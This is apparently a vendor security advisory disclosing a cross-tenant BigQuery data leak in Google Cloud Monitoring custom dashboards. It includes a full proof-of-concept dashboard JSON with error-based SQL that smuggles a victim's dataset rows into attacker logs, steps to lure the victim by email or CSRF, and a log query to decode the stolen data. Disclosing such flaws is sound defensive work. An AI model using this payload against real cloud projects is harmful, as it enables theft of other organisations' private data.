Google Cloud Platform (GCP) Cloud Monitoring Cross-Tenant BigQuery Leak with Custom Dashboard
Tenable Research has identified and responsibly disclosed a data exfiltration vulnerability in Google Cloud Monitoring. This flaw allowed an attacker to leak sensitive data from a victim’s BigQuery datasets by abusing the Observability Analytics widget in custom dashboards.
Cloud Monitoring dashboards are executed automatically when browsing, and the widgets are executed with the viewer’s permissions. An attacker could create a dashboard containing Observability Analytics widgets configured with malicious SQL queries. These queries were designed to raise errors based on data in datasets in other Google Cloud tenants (the victim’s project) for which the attacker had no permissions. The attacker could then grant the victim permissions to the dashboard. When the viewer browses to the dashboard, the queries will run, and the victim’s private BigQuery data will be exfiltrated to the attacker’s project logs.
Proof of Concept:
- Make sure Log Analytics is active and that at least one log view is available
- Give the victim’s principal IAM permissions in the attacker’s tenant
- Create a custom Cloud Monitoring dashboard
- Add an Observability Analytics widget with any valid query, choosing the BigQuery engine in the settings
- Use the JSON editor to insert a malicious JSON
{
“displayName”: “ExfilTest”,
“dashboardFilters”: [],
“mosaicLayout”: {
“columns”: 48,
“tiles”: [
{
“height”: 1,
“width”: 1,
“widget”: {
“title”: “offset0”,
“id”: “”,
“timeSeriesTable”: {
“columnSettings”: [],
“dataSets”: [
{
“tableTemplate”: “”,
“timeSeriesQuery”: {
“opsAnalyticsQuery”: {
“queryExecutionRules”: {
“useReservedSlots”: true
},
“queryHandle”: “[QUERY_HANDLE]”,
“savedQueryId”: “”,
“sql”: “SELECT\n ERROR(CONCAT(‘offset0: ‘, TO_BASE64(\n CAST(\n TO_JSON_STRING(ARRAY_AGG(t)) AS BYTES\n ))\n ))\nFROM (\n SELECT t\n FROM\n `[ATTACKER_LOGVIEW]` AS l\n CROSS JOIN `[VICTIM_DATASET]` AS t\n LIMIT 1 OFFSET 0\n);\n”
},
“outputFullDuration”: false,
“unitOverride”: “”
}
}
],
“displayColumnType”: false,
“metricVisualization”: “NUMBER”
}
}
},
{
“xPos”: 2,
“height”: 1,
“width”: 1,
“widget”: {
“title”: “offset1”,
“id”: “”,
“timeSeriesTable”: {
“columnSettings”: [],
“dataSets”: [
{
“tableTemplate”: “”,
“timeSeriesQuery”: {
“opsAnalyticsQuery”: {
“queryExecutionRules”: {
“useReservedSlots”: true
},
“queryHandle”: “[QUERY_HANDLE]”,
“savedQueryId”: “”,
“sql”: “SELECT\n ERROR(CONCAT(‘offset0: ‘, TO_BASE64(\n CAST(\n TO_JSON_STRING(ARRAY_AGG(t)) AS BYTES\n ))\n ))\nFROM (\n SELECT t\n FROM\n `[ATTACKER_LOGVIEW]` AS l\n CROSS JOIN `[VICTIM_DATASET]` AS t\n LIMIT 1 OFFSET 1\n);\n”
},
“outputFullDuration”: false,
“unitOverride”: “”
}
}
],
“displayColumnType”: false,
“metricVisualization”: “NUMBER”
}
}
}
]
}
}
- Apply Changes, you should see widgets that don’t run due to a lack of permissions
- Share the dashboard with the victim and wait for them to click on the email, or get them to browse to the URL some other way, such as CSRF
- Once the victim views the dashboard, query the logs to reconstruct the data
SELECT CAST( FROM_BASE64( REGEXP_EXTRACT( — grab the base64 run after the word `offset` proto_payload.audit_log.status.message, r’^offset\d+:\s+([A-Za-z0-9+/=]+)’ ) ) AS STRING ) FROM `[ATTACKER_LOGVIEW]` WHERE severity = “ERROR” AND starts_with(proto_payload.audit_log.status.message, ‘offset’) ORDER BY timestamp DESC





